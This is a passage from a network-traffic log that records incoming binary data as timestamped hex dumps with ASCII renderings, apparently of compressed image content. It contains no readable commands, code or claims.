fe fe da f4 fd 48 c9 00 68 59 47 f7 55 d5 a2 56 3e Data Ascii: }GN^n[sbyW}h~bF9m/*kk5 iF95,<4US$[34nx/(oo.4",Af wzM1\|7]"ku6w:a}EbWA?D3NV-~>dsWnMkbP>CHhYGUV>
2022-07-20 17:09:03 UTC	10908	IN	Data Raw: ff 00 ee a2 66 b9 51 6f d3 f4 f7 b5 58 9b 2d ad 61 ae 35 a0 2c 49 d2 e7 52 2b f3 13 5d 63 6e fd 2d 6e ff 00 6d 13 ae 86 c2 c6 c7 4a 0e ad a8 3c 78 71 ef a8 c3 95 f4 90 e0 01 f0 f9 b0 1c 6a 19 e7 89 5e 36 17 31 86 20 5f 86 3f 17 f5 ca 9e 3d ce 2a 8f 1e 91 a2 8c ad f4 f5 37 d3 51 2e d4 3f a7 19 b1 0e 48 26 de 7a ce 03 f8 a9 ad c7 1d 3c dd f4 c9 7b 35 f9 d4 da df 4a f9 68 43 27 26 9c a4 1b 7d 3c 3a be 1a 0d 70 49 d1 b4 b0 b7 85 d7 db 42 40 e1 9b b0 5a c0 d5 cd 83 8e 37 d4 1a e5 b8 63 ad af 7f bb 6a d0 3d ce 9a 7f ae fa d2 b4 83 16 b5 89 ef 23 b6 fd b4 41 60 40 1a 9e ca 91 b6 af e9 19 80 60 38 5c 8f 0a 1f fa 9e 1a fc 48 b3 96 2b 58 3d c3 32 78 e3 cf 5b c9 8f 63 50 de 7f f1 c9 17 6f f3 38 d6 e7 6c ed 60 eb 6b e5 0a 8b f3 56 d6 79 2f ba dc fa 6b 1c e8 cb ac d1 Data Ascii: fQoX-a5,IR+]cn-nmJ<xqj^61 _?=*7Q.?H&z<{5JhC'&}<:pIB@Z7cj=#A`@`8\H+X=2x[cPo8l`kVy/k
2022-07-20 17:09:03 UTC	10924	IN	Data Raw: 7b 86 07 dd ff 00 75 58 01 92 9c 41 fa 78 d1 2f cc cc 6c 07 77 b6 80 5e 24 00 47 f7 b1 3e 5a e6 d4 92 6c 6f 7f d1 49 73 70 09 24 f6 d4 91 82 5a 25 b3 5e fe ca c5 54 2e 57 38 8e ce db 1e fa 66 4d 6e f6 61 f4 f0 a5 65 04 39 1c 7b 2b 40 32 1d a4 70 a0 58 97 8f 5e 5e d0 4f bd d3 45 76 84 8e 5d 0b 76 11 d9 97 96 94 ee e3 fc bc da 90 c0 72 bd c7 1c 87 53 51 b8 0a a5 6e 41 17 e1 dc 47 6d 45 04 36 68 e2 56 08 bd b6 27 32 14 f8 b5 e6 e6 a4 70 6e f6 d5 7d a3 4c bd 9f 6a a4 32 1e 50 3a 80 d4 d2 96 05 57 d1 52 3b 49 6f 6d 2a 44 3f 0a 40 b7 2b df 6b e3 7f 0f bd 45 6e c1 6e a1 99 7c 43 b4 0f b5 4b 1b 82 50 bd 97 5b 01 af 8f ec f4 d3 87 56 09 2d 89 5b ea a9 d2 b6 6e cf 37 ea d2 42 49 60 96 68 e4 03 1e 46 d5 df 5d 72 66 e8 ad bc e0 c6 a9 2e be a0 36 2c 07 89 a2 ea 46 5e Data Ascii: {uXAx/lw^$G>ZloIsp$Z%^T.W8fMnae9{+@2pX^^OEv]vrSQnAGmE6hV'2pn}Lj2P:WR;Iom*D?@+kEnn\|CKP[V-[n7BI`hF]rf.6,F^
2022-07-20 17:09:03 UTC	10940	IN	Data Raw: c6 2d d5 e6 93 9b aa a3 df ca cb b4 8c 90 a1 99 7f 07 13 c3 f0 c1 c8 1f 36 7c ed f0 d3 4a c1 9f 66 a4 85 69 50 ab 93 7d 4f 1c e4 8d bc 1e ed 05 f9 0a 7a 93 b6 23 39 30 bf 30 c5 d1 23 6e 8f 4f c5 2f 5f 37 5d 47 f2 9d 9b 09 0e 76 94 ab 5d 59 c6 ac fe f5 9b 93 26 a5 67 d4 25 80 b7 0b 0f f5 57 a9 19 20 de dd d7 1e d2 da e3 f0 d1 32 68 47 67 7d 26 e3 70 41 0c 4b 63 dc 07 6b 50 13 dc 44 b7 21 47 0f b7 f1 56 36 c6 dd 20 7b 3f 7a 84 3b 7f c3 56 62 58 f1 b7 94 1f 8a 96 0d a4 4c 25 50 53 29 2c 4b 79 9a 38 b8 27 da f0 d6 32 a1 99 d2 f6 b1 e0 78 e4 cc dc bf 76 a4 77 2c ce f6 00 b7 15 1d bf 5d 0d c2 5c 25 f4 36 17 bf b5 a8 64 49 58 4e 85 46 b6 f3 e5 f1 53 0d aa 19 25 90 16 6c 81 2c 17 e9 1c dc be 2a 3b c5 38 ce 0d a5 b6 b7 3e 6b 79 a9 a2 67 0c 0e 84 9d 6f dd f5 51 40 Data Ascii: -6\|JfiP}Oz#900#nO/_7]Gv]Y&g%W 2hGg}&pAKckPD!GV6 {?z;VbXL%PS),Ky8'2xvw,]\%6dIXNFS%l,*;8>kygoQ@
2022-07-20 17:09:03 UTC	10947	IN	Data Raw: f6 6a 09 ac 10 fa ec 96 2c 7d 47 36 f5 96 4d 46 6c b3 f9 9b dc f0 d4 df 33 71 14 89 24 45 64 85 ba c4 8a 6c 92 46 be 0f 7a 5e 9c a9 65 94 a4 40 20 4f 51 79 8a b1 ea 5f 4d 7a 17 b3 97 9b 2a 5d c6 d0 fa 5b 89 55 83 ba a2 e6 12 e3 10 47 56 2c 3a 1a b3 8a 36 da 6e 0f e2 43 13 4a 46 6d d2 2e af d0 b8 96 66 f4 fe c7 56 55 3e ec 92 a8 da b3 0f e6 30 1d 17 f1 2a 7e b3 57 ab b4 81 4b c8 4b 2a f8 95 55 46 b1 e1 fc 33 fb 5e 2a 97 ff 00 26 75 55 21 54 01 f8 77 e6 fc 4e ac b7 05 57 96 3f 0a 54 4f b7 56 9b 71 9a c7 e9 9c ae 14 9f c4 66 91 4f e0 b6 b5 f9 3f 97 c2 5b 71 11 98 a3 81 89 56 3c 87 95 bf 0e 44 e5 ca ed 97 27 3d 26 e7 6f 7c b7 32 04 76 b8 d5 ca f2 7a 63 8f 3a 66 fd 3f 87 ee d6 04 b0 39 16 60 38 e9 d2 be f3 65 f7 68 be e0 0c 8f 42 b0 d0 1e 3c c3 b5 d7 ee d2 b2 Data Ascii: j,}G6MFl3q$EdlFz^e@ OQy_Mz][UGV,:6nCJFm.fVU>0~WKKUF3^&uU!TwNW?TOVqfO?[qV<D'=&o\|2vzc:f?9`8ehB<
2022-07-20 17:09:03 UTC	10963	IN	Data Raw: 53 cc 3c 75 3c 5b 92 b2 ef 06 2a c5 78 20 3d 7d 5c 5a a4 db ed 9a 45 80 f3 d9 8e 57 d0 72 b3 27 2f 55 34 ae c4 45 0b 8e 50 38 b8 e1 c7 dd ea a7 de 3a 2e e1 01 31 10 dc c8 74 27 9d ba b4 6e 66 54 f2 ad 3c 72 49 8c 5b 64 b4 71 00 02 b5 cf 59 3d 59 0f bd 87 2d 41 f3 12 42 47 23 84 8e 50 58 b6 77 38 46 c9 e4 f3 72 f2 d4 bb a7 93 1d ae d0 15 4b 9b bc ac 1b af 0f 17 a8 ec cd 97 85 28 83 73 26 00 dd fa 45 ec b8 f9 b5 ac 42 7a b0 c2 f7 70 1b 59 18 9f e1 5f c3 cb cb 9d 6e be 75 e8 0d ab cf 20 43 02 73 01 6f c3 89 0b f4 ae 1e 55 5c 6a 43 39 08 89 19 31 d8 dc 33 9d 0b 2b 7e d5 fe 2a 87 6b b8 54 89 43 5d a6 51 76 1d a3 8f b3 be a0 9e 37 74 36 bc 71 7b a7 45 77 d7 2f 54 d3 34 a4 b5 ac 48 51 a0 be bc 5b a9 98 f5 57 a5 a0 50 2c b7 18 8c cf 4f dc 15 89 36 c7 88 3a 81 6e Data Ascii: S<u<[x =}\ZEWr'/U4EP8:.1t'nfT<rI[dqY=Y-ABG#PXw8FrK(s&EBzpY_nu CsoU\jC913+~kTC]Qv7t6q{Ew/T4HQ[WP,O6:n
2022-07-20 17:09:03 UTC	10979	IN	Data Raw: cf 30 55 92 42 02 85 03 15 03 c2 a0 f4 d3 c7 0b 60 da dd 85 f5 07 fd b4 8e e6 38 91 af e9 27 69 23 8c 9f 0e 7e 3f 37 9a 98 b0 68 e5 03 17 b0 b0 f8 71 fe b9 55 98 90 fc 32 1c 0d 14 90 7f be bd 13 e1 d7 d8 2e 6a 47 58 c1 65 04 f0 38 95 3c 6f a9 c5 bc b4 8d 33 11 e9 8d 05 fb f5 5b 8a ca 63 73 00 e2 6d 6c 49 e9 6f b5 42 7e 3b 30 03 23 27 52 bd ba 24 cf af ec d3 ef b7 20 c2 86 c6 30 6c 00 53 e3 6e e2 dd 95 e8 ed ce 29 65 bb 11 a5 fc 6d fe 1a 8d 76 6b f8 18 dc b1 37 c9 87 56 07 c5 ef 2d 29 69 15 19 8e 77 d6 fc 74 ff 00 97 ed 52 ca 83 36 24 3a c8 79 6e 7b 28 cb 23 59 49 17 03 42 48 ed f8 ab 38 6f 60 74 24 13 63 f5 51 1b 88 59 a4 1a e7 e1 20 f4 9f d1 56 62 12 1d 0b 28 36 b8 bf 4e bd 5e f5 08 96 4c 72 16 31 dc da eb a2 ba 8f 0d 97 a7 1a 13 c9 79 12 c5 18 97 b0 ee Data Ascii: 0UB`8'i#~?7hqU2.jGXe8<o3[csmlIoB~;0#'R$ 0lSn)emvk7V-)iwtR6$:yn{(#YIBH8o`t$cQY Vb(6N^Lr1y
2022-07-20 17:09:03 UTC	10983	IN	Data Raw: 36 d7 57 28 74 23 df 57 e7 ff 00 ee 8b 4c e3 60 a6 25 65 c2 62 71 b5 bc 2a ec 57 2f 33 c7 d3 e6 a5 49 12 27 31 b5 e3 55 1a 0f b2 dc bd 5e 2e 9a 78 22 4f 4b d5 20 bb 02 aa 09 ea ea 16 45 55 6f e6 2f 35 5a 23 7d c2 d8 66 a6 ec c4 0e ab 30 f1 79 eb d3 74 59 cd f2 45 37 c5 af af 4f 83 0f e6 fe ad 18 65 73 1c 62 c8 b1 a1 25 ef e6 bb 63 68 e9 a5 91 b9 56 fa 05 04 58 78 57 2e 2f 4a 50 3a ac b8 aa da d6 3d dc 82 84 7b 99 3f 10 b1 5c 01 d0 7e 8d 6a 38 62 62 c4 5a f6 e3 ff 00 2d 15 b2 c6 c9 6d 49 00 7d 17 f3 56 09 20 12 9e b6 b1 c4 01 e1 56 6e 34 ad 99 94 5b 2b 16 07 9f b3 15 b7 62 f1 a2 21 45 86 18 f8 ba ad db 51 aa 8e df 8e af 1b 7a 68 40 bb 5b 9c 81 d9 6f 7a 95 a5 17 5e f5 3c cd 7f 09 a6 74 b7 a6 ba 20 b6 a4 fb 3f 7a 84 db a0 47 2d ec 74 b2 f9 b1 f7 aa f9 59 3b Data Ascii: 6W(t#WL`%ebq*W/3I'1U^.x"OK EUo/5Z#}f0ytYE7Oesb%chVXxW./JP:={?\~j8bbZ-mI}V Vn4[+b!EQzh@[oz^<t ?zG-tY;
2022-07-20 17:09:03 UTC	10999	IN	Data Raw: 7f 78 50 6c 43 a0 f3 af dd 57 b5 7a 41 72 47 26 da db 1b f9 68 24 79 2c aa 43 e5 71 72 be 5f 85 e9 b7 49 1b 36 76 bc 24 28 b7 8a f1 15 e5 65 f0 f9 a9 77 1b 36 f5 d9 90 35 ac 39 6f a3 47 8b ea 71 f3 50 92 27 55 45 b1 64 23 40 47 06 fb 54 36 9b 75 2f 34 4f 8a 22 f2 48 5f 88 10 e3 d6 3f 6b c5 49 b7 47 29 18 05 95 1f b4 a1 b6 af c7 b1 95 a2 eb 8e 86 f7 62 8c 23 94 92 d1 21 24 0f 36 3e 2c 0d 67 b3 76 86 71 6e 53 c5 7e 86 ea 75 f7 5a 86 fe 52 46 fe 2b 0b 80 42 b8 1d 8f 19 e5 6f 77 1a 1b 98 08 83 71 09 5b c6 fd fe 75 e1 9a 7e b5 3b c0 f0 c3 2b 01 92 c7 71 6e de 4c bc fe ed 34 72 a9 72 a4 e4 58 db f4 d3 c1 14 2a 27 02 ca cc 2e 47 d0 5b cd 50 b4 20 c4 d2 f3 65 19 26 30 7a 94 71 fe 22 f8 97 1e 4a 33 31 b9 94 96 c4 f0 c9 bc 76 5d 35 a2 49 f4 d9 88 16 1a 06 3e d4 ad Data Ascii: xPlCWzArG&h$y,Cqr_I6v$(ew659oGqP'UEd#@GT6u/4O"H_?kIG)b#!$6>,gvqnS~uZRF+Bowq[u~;+qnL4rrX*'.G[P e&0zq"J31v]5I>
2022-07-20 17:09:03 UTC	11015	IN	Data Raw: 3e 7e 55 af 53 74 12 7d d0 21 d9 0b 35 94 78 1a 4c 01 2f e2 c6 86 d5 e7 79 fd 76 ba ae 20 2a f8 9f 8f 5b 7b 3f 56 84 10 a3 49 32 80 07 ab ab 1e 6f 4d 1d e4 b3 22 ff 00 d1 6f 27 e2 52 cb 2b 12 15 80 e6 25 ae 7f 9b 86 1a 33 e5 cb ea 74 e3 4f bd 80 3c a1 a6 2b e9 a2 90 54 0e 5f c4 56 f3 32 2a ad 4b 0f cc 2d b4 44 95 31 c5 ec 48 5e 71 89 ea c5 db ad 9b 1f 12 ad 6e 3f f9 16 e1 d6 36 dc 5a 28 62 66 05 41 3f cc f0 f2 df f8 69 d4 9c f2 27 55 4b 28 12 32 95 ca 49 d4 68 42 70 81 4f 4c 5b 7f 33 46 be ef 57 35 0d 84 17 db 88 2c 44 68 cb e9 b6 99 64 59 32 6c 3e 1e 8f 8e 8b c1 8c ff 00 32 d9 ce 37 1b 89 e2 42 a0 21 1e 96 2d 73 e1 e5 e7 6e bc 79 79 a9 62 32 96 45 72 ed d8 0e 5e f7 86 43 52 4c 5c fa aa 40 52 c0 5f 23 de bf cd 1f bd 4b 1c a4 e5 0d b1 43 a8 00 9b 92 3c ab Data Ascii: >~USt}!5xL/yv [{?VI2oM"o'R+%3tO<+T_V2K-D1H^qn?6Z(bfA?i'UK(2IhBpOL[3FW5,DhdY2l>27B!-snyyb2Er^CRL\@R_#KC<
2022-07-20 17:09:03 UTC	11023	IN	Data Raw: 1c c1 5a ec 80 f5 32 35 ff 00 0d bc b5 e9 22 b7 ae e4 b8 62 79 bc c4 9d 78 e3 cc d5 1c ff 00 32 7b 49 24 48 c0 b2 12 ce 97 68 bd 5c ce 8f cc 98 e7 fe 1a 33 49 8d a3 26 fa dc fb 4d bb 87 89 a9 5c 96 44 26 d9 1b 69 7e f1 fb 34 60 99 8b 40 8d 72 d9 6b 21 ed c8 37 05 5f 14 74 e1 26 54 80 92 31 5b f4 df a4 e9 49 b7 f9 69 76 3b ab 48 f2 ba 81 90 e9 54 db a8 66 64 87 cc cf cf 27 c3 4e 77 9b 98 e1 78 b4 55 8d 03 10 3d f3 a5 36 f3 70 25 30 81 78 c0 e5 26 e3 94 f3 e8 ab f1 78 6b 25 39 93 de 34 f6 81 fe 2a 69 a1 0e e0 81 68 ee 49 b7 c3 fb 34 b3 ed cb 89 14 94 65 60 2e 0d b4 e9 f0 b5 1d c4 90 e1 26 56 3d 8c 3f b7 9b dd a9 be 5d b9 43 2b 91 94 41 c5 c0 65 f2 fb ad 43 70 10 a4 b0 8b c8 bd e0 fb be 5a 32 10 a1 45 88 50 7b 2d d2 3e 8f bd 53 6e 16 29 5d 0a d8 18 85 db 20 Data Ascii: Z25"byx2{I$Hh\3I&M\D&i~4`@rk!7_t&T1[Iiv;HTfd'NwxU=6p%0x&xk%94*ihI4e`.&V=?]C+AeCpZ2EP{->Sn)]
2022-07-20 17:09:03 UTC	11039	IN	Data Raw: 18 1f af c3 43 63 b0 12 b4 8a cb 00 96 44 08 ae c4 65 27 39 ea 86 35 c9 9b d4 ea 7a db ed b7 65 b7 09 b5 68 e5 66 4c 4a dd 74 58 f1 6e 45 8f 3f f8 a8 fc a3 6b 0b b4 a8 44 91 9b 01 1a 31 05 84 ac fa c3 92 79 72 f8 6a 7d ce e3 6e fb 75 0a be a4 a9 73 24 d2 db dd cf d3 c0 f3 47 c9 85 47 b2 da 48 f2 60 0c a6 26 5e 67 20 5b 0f 53 f9 4d cd cd cb 97 96 a4 7d f0 96 18 a4 8a f0 b2 be 20 81 d7 8a 31 2f 23 2f 9a bd 0d b5 bf 05 f2 6c 7c 40 9c 9d c3 f0 c5 7a a6 cb 9e 91 82 19 fd 72 aa b2 61 cd 22 b7 29 09 c5 bd 3c ba 5b c7 cd 5b 5f 94 a6 53 4a 0f 2b 11 74 46 e2 c4 e6 4e 3e 9e 25 70 f0 d4 9b ad c4 eb 1e ea 42 ca 10 8f c4 68 d7 c7 b7 6b e1 96 27 96 3e 4f 7f 2a 3b 9d d1 50 9b 89 5a 48 f6 f2 ee 39 bd 35 e9 66 c3 a5 b2 e6 65 5e a7 f8 6a d2 5a 49 d1 88 8d e3 5f e1 ae 9f 85 Data Ascii: CcDe'95zehfLJtXnE?kD1yrj}nus$GGH`&^g [SM} 1/#/l\|@zra")<[[_SJ+tFN>%pBhk'>O*;PZH95fe^jZI_
2022-07-20 17:09:03 UTC	11055	IN	Data Raw: 04 1f 89 97 bf 5e a6 ec a4 52 3a f0 70 05 bd bc 39 6f 52 49 bc 82 4d ec ac c7 d2 0c 70 82 e3 85 e1 d1 e5 0a dd 5c d8 54 bb 7f 97 a8 86 25 00 2f a3 08 58 c9 1a b7 a7 ae 0b 8f bb d7 42 0d bc 6f ba c8 84 c5 63 2c a4 1f 33 72 88 f9 7c 49 52 7c b7 e5 ca 9b ad e2 a7 a9 68 d7 91 40 e5 f4 59 8f 7f 4e 4e d5 1c 3f 31 1f 97 dd 6e 00 ee c8 11 c2 1f c3 e4 0a 2f c8 a8 72 a5 58 37 45 6d 75 3c 96 2a 3d dc 3a 99 be 2a c3 6f 3b 18 ba 8c 6d 64 f5 18 7f 9a c3 98 d2 a4 ab 18 97 8c 31 a5 9a c0 f5 3b 82 ca 39 7c b2 74 d4 6f 1c 89 0c 5b 73 ce ce 39 8d cf 15 8f 91 39 7c aa d5 ea ed 67 1e 8c 4d 78 18 2a 92 a4 f5 96 cb f5 3f 6a 81 df 23 39 76 0d 3b 46 02 e7 6e a6 95 97 1c af d3 8f 4d 6d 8f ca 21 48 76 f3 29 7f 45 54 a8 0b 7e a6 f4 b9 73 f7 7c 5e 6a c7 1f 4e 22 2f 7b d8 fb de d5 34 Data Ascii: ^R:p9oRIMp\T%/XBoc,3r\|IR\|h@YNN?1n/rX7Emu<=:o;md1;9\|to[s99\|gMx*?j#9v;FnMm!Hv)ET~s\|^jN"/{4
2022-07-20 17:09:03 UTC	11063	IN	Data Raw: 08 4f 67 22 75 3e 3f 76 8c 90 11 29 2c 6c 2c 39 7e ce af f5 d1 99 8b 19 ca f2 23 10 f8 db a8 fa b6 4e 76 f3 37 c3 49 b5 dc 44 27 49 80 0c 84 73 2a f8 b3 c3 af f4 54 8b f2 8d bc b2 6d e6 52 71 16 32 5c 02 aa ac a0 fe 1c 5a 74 36 55 b1 d9 43 60 12 26 79 d2 6e c2 4e 91 c9 e2 79 31 e5 8a 14 a9 7e 63 f3 f7 1b 69 a4 04 c6 2e 84 2b 36 98 aa 02 5a 29 02 7f f8 3f 8a 87 cd 5b d6 91 d1 ca 07 99 87 f1 0f 2e 7c dc f2 63 d3 8f 4b 57 a7 be 70 f9 0c 23 56 06 c2 dd 4c fc 39 7e 1a 0b f8 08 23 50 cc 54 13 90 b5 83 b7 16 55 0d 42 4f 4e 34 95 f5 33 6b cd dc af 7b 6b 6e 9a fc db 80 91 da d7 3a e5 ec ee a1 1e cc 61 01 25 58 81 62 74 e9 cb 89 1e f5 06 c6 d0 37 73 10 7b b9 cf 55 20 db 83 34 92 36 11 ad cf 1e 9c fd 88 be 26 6f 0d 3e d1 a3 47 12 80 22 c6 d7 95 8e 92 33 30 fe 20 1e Data Ascii: Og"u>?v),l,9~#Nv7ID'Is*TmRq2\Zt6UC`&ynNy1~ci.+6Z)?[.\|cKWp#VL9~#PTUBON43k{kn:a%Xbt7s{U 46&o>G"30
2022-07-20 17:09:03 UTC	11079	IN	Data Raw: b8 f9 a9 9c b3 93 7b 5b 4b 8f d3 42 c7 86 a1 87 68 a6 32 62 32 00 02 38 dc 7b 3b 28 aa 10 ac 47 2d cf 6f 9a 84 13 0c 25 47 ea 5e 37 fa 3a 4d 16 63 62 a6 c6 da 02 3c d5 a8 16 22 ca dd f4 4b c0 ea 87 b1 ca a8 63 ee ad 2a c4 a8 96 e1 6b e9 4b 79 95 14 92 34 51 af e9 a0 e6 56 e5 d0 da c2 e7 cd 5e 9c b9 32 b1 b9 65 2c 40 fb 4b d0 d5 62 8b 6b 5e c4 b1 e3 e6 bf 55 59 d1 50 29 e0 2c 01 ef d6 80 71 8d c1 36 53 a8 a1 2c ce ca 0f 48 e1 c7 dc f1 11 e5 a1 8a 25 8b 0c 33 24 1d 3c 78 af 33 7c 34 3d 38 f2 c4 80 4d f1 d4 7c 5e 0a 69 37 4e 58 9f 08 b6 2a 3b af e2 fa 69 96 33 6c 4f 1e 34 04 bc f9 12 40 50 2e d4 24 5b 83 6b 83 6b 28 fa 1f 87 c5 45 a3 7e 66 02 c4 76 fc 34 a6 29 18 bd 85 c6 97 d7 cc 7d b4 5a 59 17 1b da c7 b0 fb cd 4c 48 50 00 16 06 fa 93 dc dd b5 fc 5c 2f 6c Data Ascii: {[KBh2b28{;(G-o%G^7:Mcb<"KckKy4QV^2e,@Kbk^UYP),q6S,H%3$<x3\|4=8M\|^i7NX;i3lO4@P.$[kk(E~fv4)}ZYLHP\/l
2022-07-20 17:09:03 UTC	11095	IN	Data Raw: 06 71 0d 48 04 74 0c ba 96 8c ae 43 cb 1b 05 36 07 87 7b 78 72 a2 b2 2d 82 1e 20 f0 27 c5 6f 17 c2 b4 c1 cb 06 42 30 37 d2 dc 47 eb 57 e6 47 54 89 95 81 04 90 4f 50 f2 da bf 38 2e c8 0b 43 21 03 16 64 3c 2e be 56 e3 f1 51 8e 60 65 78 9c 30 04 6b 88 f2 b7 99 69 82 92 f1 a2 fa 82 5b 5d 9a fc cd f7 3a 6b 29 91 e4 8d d5 ac 3b 48 e0 7e 2f 86 84 90 a8 bb 68 eb 89 04 2f 14 c7 c2 ca 7d de 9a 32 21 36 4c 58 0e 04 11 d8 b5 64 5f fb 97 4e 42 85 57 05 fe 63 35 f9 7f 12 1e 55 5e 5c 9e 9c ee d4 b4 12 28 d5 0e 04 d8 f2 b5 97 91 a9 20 61 9c a1 73 59 01 b5 c1 ed d3 97 97 c7 5f 95 6b 6d cb 31 cd c1 27 42 72 39 af 97 2f 0d 4d f2 4d e9 8c 95 5f 52 39 41 b6 6a 35 51 1b 79 eb f2 f3 6b b7 7b 30 47 17 d7 cc 3c 4a dd f5 98 24 46 c0 02 4f 84 f6 1f 79 5a 84 52 0b 04 b8 d4 5c 11 56 Data Ascii: qHtC6{xr- 'oB07GWGTOP8.C!d<.VQ`ex0ki[]:k);H~/h/}2!6LXd_NBWc5U^\( asY_km1'Br9/MM_R9Aj5Qyk{0G<J$FOyZR\V
2022-07-20 17:09:03 UTC	11102	IN	Data Raw: b9 c0 31 28 39 85 27 15 f6 2b 38 b9 5f 76 9d 3e 5a 8a 05 80 05 c6 86 dd ab e5 fa da a6 dd ee 0a c8 50 03 8a 90 08 2d cb 60 79 b9 af 5f 9a dc 72 b9 21 b0 27 b0 6b 93 7b b9 57 a9 2b d9 99 89 11 da e4 af 98 f9 56 8c 92 a9 91 63 e5 88 2b 58 0b f3 dd cf 89 8f bb cb 85 42 fb b9 ca 24 97 22 42 b8 62 e4 1b 47 21 5e 55 8a 5e 64 f5 7a 96 8f aa f6 8d c9 21 55 b2 55 27 a7 3c bc 09 e6 f1 57 e1 05 45 20 64 d1 f2 87 03 c5 87 6b 3d 3f cb 36 6a cd ae 0a 43 ea 07 b5 3f cb f0 e7 4c 84 85 3d 2c c3 8d c7 0c 2a 49 da 40 5d 8d d8 0d 2e 7b 3f 45 26 2c 4a b1 c9 89 e0 0f fb 28 ed b6 91 89 45 8e a4 da c4 f6 fc 5f b3 40 36 b7 1f dd 43 70 ec 06 77 8e dd ba f1 ff 00 89 e8 46 a0 96 b8 36 1c 08 ee a3 31 2a d3 70 51 dc 3c de d3 ee ad 19 b7 4a ac 54 16 2c 39 58 fb 31 e1 6a 22 00 19 88 c4 Data Ascii: 1(9'+8_v>ZP-`y_r!'k{W+Vc+XB$"BbG!^U^dz!UU'<WE dk=?6jC?L=,I@].{?E&,J(E_@6CpwF61pQ<JT,9X1j"
2022-07-20 17:09:03 UTC	11118	IN	Data Raw: 73 1b 2c ba 26 2a 64 5e 12 b8 f1 b2 f8 73 e5 5f 2d 34 fb 96 83 6c a3 48 95 c8 45 2e 74 1c ba 68 bd 4d 8f 86 b7 5f 30 cd a4 4e 42 24 75 c4 d8 aa f3 05 19 63 1f 86 1f 76 b7 31 6d b7 e7 e5 a2 79 82 cc 5a 56 3e a4 56 c7 d2 5d b4 03 9b de 96 59 31 fe 5f 9a b0 89 66 dd e8 41 95 c6 2d ed c3 b4 7d 8a 79 3e 5d b3 64 e5 20 48 48 66 06 fd 2b eb 16 64 b9 a8 e5 42 91 00 08 94 83 cb 63 e1 c5 79 72 f3 2a d1 86 44 3b 96 5b 96 36 b3 31 ed b5 bf 87 1a 54 fb 48 e2 b2 ca 6c e0 31 2c c7 b7 9d f5 ab ed 06 e9 63 be 8a d2 64 1a de 73 e1 55 a5 dc 6d 22 5b a9 b4 82 40 ca 07 c3 a7 37 c5 4c c4 aa 47 c5 88 e9 bf b6 dc d4 16 39 56 f2 1d 04 7a b1 fd 1d 34 76 d0 5a 59 4d c8 52 a5 9e de 72 fd 2b fb b4 0e f6 53 8f 68 00 a9 2a 3c 4b 7e 6f 77 2c 69 bf 2b 12 43 61 89 72 6e 47 bb 97 99 a9 71 Data Ascii: s,&d^s_-4lHE.thM_0NB$ucv1myZV>V]Y1_fA-}y>]d HHf+dBcyrD;[61THl1,cdsUm"[@7LG9Vz4vZYMRr+Sh*<K~ow,i+CarnGq
2022-07-20 17:09:03 UTC	11134	IN	Data Raw: b2 83 2c 65 b1 61 6b b2 37 4f e8 f7 ab d0 79 99 b7 31 28 11 84 1c 41 e5 6e af e6 a1 ea 4e 9c 6b 71 f2 4f 9a 02 b3 90 99 00 e1 82 9e b8 a7 43 19 64 2d e1 fb 54 76 1b eb 58 8f c3 90 76 0e 23 fa fd da 91 61 95 b0 3a 3a 03 fd ab ee d2 fc ca 29 1b 6c 36 2c b3 09 00 25 85 8f 29 56 1e f5 0f 98 ee 6c bb bd c1 12 1c 50 68 1b 83 3a 47 6f 46 4b fd f5 6c ea 18 25 5d 37 2b aa 6a 70 6b f5 0f 37 3f 35 3c 5b 97 0f 1e 98 4b 7d 1f dd 1e fa 78 95 b9 aa 0c f7 0d 04 64 fa 81 d9 6e 52 5e 1e 9e 9d 4a ff 00 67 92 97 71 b0 0b 3a 4a b6 74 46 0c 2c 78 e2 83 f8 88 7a 97 f9 89 4a 90 20 3b 98 cb 31 88 58 b1 40 2f f8 5d fc dc d8 f5 78 6b 73 b1 f9 c4 aa b8 44 5f 6d 2a 5d 0e 63 9b d0 92 37 ed 6e 6c 7c 39 78 e9 a3 91 c2 32 72 92 86 c3 5f f6 d6 d3 67 09 f4 a6 82 42 a0 37 2d c3 70 5f a3 e2 Data Ascii: ,eak7Oy1(AnNkqOCd-TvXv#a::)l6,%)VlPh:GoFKl%]7+jpk7?5<[K}xdnR^Jgq:JtF,xzJ ;1X@/]xksD_m*]c7nl\|9x2r_gB7-p_
2022-07-20 17:09:03 UTC	11142	IN	Data Raw: c8 31 b7 ea 9e ca 77 98 1c 94 f3 0f 68 d3 87 87 2a 69 06 b8 f6 76 8b f0 60 3c 58 f8 aa 31 17 16 b2 83 7b 59 ed c2 e7 c3 4e 9b 91 ab 69 95 f4 60 3d df 32 f4 d0 99 d4 da c0 86 23 8a 1e 96 c7 b4 51 99 1b 24 b8 d2 c4 7d 17 ff 00 0d 66 c0 ac b1 81 90 ec 23 be 83 b2 dc 0f ee f2 d7 28 c4 a9 b0 1e cf 69 ab 58 86 ec 3e d1 df 4c 33 e6 5d 48 e3 c2 95 f7 0a c8 cb e4 b6 ab d9 ee d3 3a 02 ea 6f 6b fe d2 ff 00 86 83 00 19 49 bd 8f 69 1c 72 a5 df c9 0a a2 4c 4f a4 54 82 2e 3a d0 af 52 7b b9 52 6e 64 e6 b5 bd 48 fb ed fd b4 61 80 08 5d 9a e1 86 8a 7c ad ec a2 66 8f c3 8b b0 17 01 ad cb ff 00 e1 29 66 84 f2 81 6b 2f f5 f0 d1 86 e4 48 5b 20 6f d8 34 e1 fb d4 59 26 b0 6b dd 4f 63 0e aa 20 58 06 d0 8e d1 ff 00 09 a0 10 29 0b d3 6e 26 bd 34 bb 37 0b 36 81 4d 1b 29 16 17 20 1e Data Ascii: 1wh*iv`<X1{YNi`=2#Q$}f#(iX>L3]H:okIirLOT.:R{RndHa]\|f)fk/H[ o4Y&kOc X)n&476M)
2022-07-20 17:09:03 UTC	11158	IN	Data Raw: be de ea 78 5a 40 67 ea 03 5e 70 3d fe 9b d2 c2 e4 c8 22 8c c6 44 8b d0 7c 2c 94 8c cc 7d 42 c6 3b 9e 04 31 c4 fe a9 a7 db bb 3d 95 ac 2f da b7 e4 bd 0d c2 80 60 2f 76 42 2e 3e 9c 7b e9 3e 61 0c 86 69 b2 0d 93 0b 10 2f ca ae a3 c1 e1 af 4e 56 c6 17 2a d8 a1 ba a9 6d 32 fa bc ad 53 35 ee 26 66 16 cb 88 27 9f 34 ec d7 99 32 a0 24 7f 4e 00 bc 85 6e 72 20 ff 00 0d 7c bc df 76 a4 dc ee bd 35 69 91 63 38 e8 a2 e2 dd 03 96 fe f2 f8 a8 b4 64 14 29 8b 25 fa 80 f1 29 f3 2d 47 16 f9 7d 45 40 71 20 0b 95 ec bd bc 54 b2 c2 cc c8 e0 92 ad a1 56 fa 3c 8f 4c 